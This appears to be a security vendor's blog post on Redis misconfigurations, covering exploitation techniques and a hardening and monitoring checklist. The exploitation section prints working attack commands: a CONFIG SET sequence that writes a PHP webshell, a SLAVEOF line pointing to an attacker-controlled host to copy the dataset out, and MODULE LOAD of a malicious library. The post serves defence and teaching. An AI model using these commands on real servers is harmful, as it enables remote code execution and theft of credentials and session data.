Redis is fast, flexible, and dangerously easy to set up insecurely. It ships with no authentication enabled by default, binds to all network interfaces, and provides commands that can write to the filesystem, execute code, and exfiltrate data. In penetration tests and automated scans, Redis misconfigurations are among the most common and impactful findings we encounter. This post covers the exploitation techniques attackers use and the hardening steps that prevent them.
Default Configuration: Open by Design
When you install Redis and start it without modifying the configuration, you get a server that listens on all interfaces (0.0.0.0:6379), requires no password, and allows any connected client to run any command. This is intentional for development convenience, but it is catastrophic in production. A Redis instance exposed to the internet with default configuration is fully compromised the moment an attacker discovers it.
The redis.conf file that ships with most distributions sets bind 0.0.0.0 and comments out the requirepass directive. Many deployment scripts and Docker images skip these settings entirely. The result is that thousands of Redis instances are accessible without authentication across the internet at any given time.
Exploitation Techniques
Unauthenticated Access
The most basic attack against Redis is simply connecting to it. The Redis CLI makes this trivial:
redis-cli -h target.example.com -p 6379
PING
+PONG
If the server responds with PONG, you have full access. From here, an attacker can read and write any key, enumerate the entire dataset, and use Redis commands to escalate further. The INFO command reveals server version, uptime, connected clients, and memory usage, giving an attacker operational intelligence about the target.
CONFIG SET: Writing Webshells
The CONFIG SET command is one of the most dangerous features in Redis when exposed to unauthenticated users. It allows changing the running configuration without restarting the server. The classic exploitation technique uses dir and dbfilename to write arbitrary files to disk:
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
This writes a PHP webshell to the web server's document root. If the web server is on the same host, the attacker now has remote code execution through the web interface. This technique works against any Redis instance where the CONFIG command is available and the Redis user has filesystem write access to a web-accessible directory.
SLAVEOF: Data Exfiltration
Redis replication is designed for high availability, but it can be weaponized. The SLAVEOF command forces a Redis instance to become a replica of another server controlled by the attacker:
SLAVEOF attacker.controlled.server 6379
When this command is issued, the target Redis instance connects to the attacker's server and synchronizes its entire dataset. The attacker receives a complete copy of every key, including session tokens, API keys, cached credentials, and any other sensitive data stored in Redis. This is a silent exfiltration method because it uses Redis's native replication protocol, which does not generate error logs or trigger typical security monitoring.
MODULE LOAD: Remote Code Execution
Redis 4.0 introduced the module system, which allows loading shared libraries at runtime. If the MODULE LOAD command is available to an unauthenticated client, an attacker can load a malicious module that executes arbitrary code on the server:
MODULE LOAD /path/to/malicious.so
This is the most direct path to full remote code execution. The attacker compiles a Redis module that runs system commands, places it on the target (often using the CONFIG SET technique described above), and loads it. At this point, the attacker has the same privileges as the Redis process, which on poorly configured systems is often root.
Additional Attack Vectors
Beyond these primary techniques, Redis provides several other exploitation paths:
- LRANGE and GET: Enumerate and extract keys containing sensitive data (session tokens, credentials, cached PII).
- KEYS *: Discover all stored keys, revealing the application's data structure and identifying high-value targets.
- DEBUG SLEEP: Use as a timing oracle to confirm network connectivity and fingerprint the server.
- CLUSTER commands: In clustered deployments, manipulate slot assignments to disrupt availability or redirect traffic.
- Pub/Sub: Subscribe to channels to intercept real-time application messages, potentially including authentication tokens or notifications.
Findings from RedStrike Scanning
In our automated and manual assessments, Redis misconfigurations consistently rank among the top findings by severity and exploitability. Common scenarios include:
- Redis on the same host as a web server: The most dangerous combination. An attacker who discovers the Redis port can write a webshell and achieve RCE in under 30 seconds. We find this in roughly 40% of environments where Redis runs alongside Apache or Nginx.
- Redis exposed through container networking: Docker and Kubernetes deployments that expose Redis ports without authentication. The default Docker bridge network allows container-to-container communication, meaning a compromised container in any namespace can reach the Redis instance.
- Redis in cloud environments with permissive security groups: AWS, GCP, and Azure deployments where the security group allows 0.0.0.0/0 on port 6379. These instances are discoverable through Shodan and Censys within hours of deployment.
- Redis Sentinel with default configuration: Sentinel instances that manage Redis failover are often deployed with the same defaults as the data nodes, providing an attacker with cluster management access.
Hardening Checklist
Securing Redis requires addressing authentication, network exposure, command restrictions, and filesystem access. Here is a comprehensive checklist:
Authentication and Access Control
- Enable requirepass: Set a strong password using
requirepassinredis.conf. Use a minimum of 32 characters with mixed case, numbers, and symbols. - Use ACLs (Redis 6+): Create named users with limited command access. Default users should not have access to CONFIG, MODULE, or FLUSHALL.
- Disable dangerous commands: Use
rename-commandto remove or rename CONFIG, FLUSHALL, FLUSHDB, DEBUG, and MODULE.
Network Configuration
- Bind to specific interfaces: Set
bind 127.0.0.1or the specific internal IP. Never bind to 0.0.0.0 in production. - Use firewall rules: Restrict port 6379 to known application servers only. Use network segmentation to isolate Redis in a dedicated VLAN.
- Enable TLS: Use
tls-portinstead of plaintext for connections, especially in cloud environments where network traffic may be inspectable. - Disable protected-mode warning bypass: The
protected-modesetting prevents external connections when no password is set. Do not disable it.
Filesystem and OS Hardening
- Run as a non-root user: The Redis process should run as a dedicated user with minimal filesystem permissions.
- Restrict CONFIG SET: Either disable the CONFIG command entirely or restrict which parameters can be modified at runtime.
- Set
no-appendfsync-on-rewrite: Prevent data loss scenarios that might lead to emergency configurations that bypass security controls. - Use a dedicated data directory: Ensure the Redis data directory is not writable by other processes and is not within a web server's document root.
Monitoring and Detection
- Log all CONFIG commands: Monitor for unauthorized configuration changes, especially
diranddbfilename. - Alert on SLAVEOF commands: Any replication request from an unknown source should trigger an immediate alert.
- Monitor network connections: Use
CLIENT LISTregularly and alert on unexpected source IPs. - Audit module loading: Track MODULE LOAD events and alert on any attempt to load unrecognized libraries.
A Redis instance without authentication is not a cache. It is a backdoor into your entire application stack. Treat it with the same security posture you would apply to a database with your most sensitive data, because that is exactly what it often contains.
Our automated DAST platform tests for Redis misconfigurations as part of every scan. If you want to verify that your Redis instances are properly secured, contact us for a comprehensive assessment.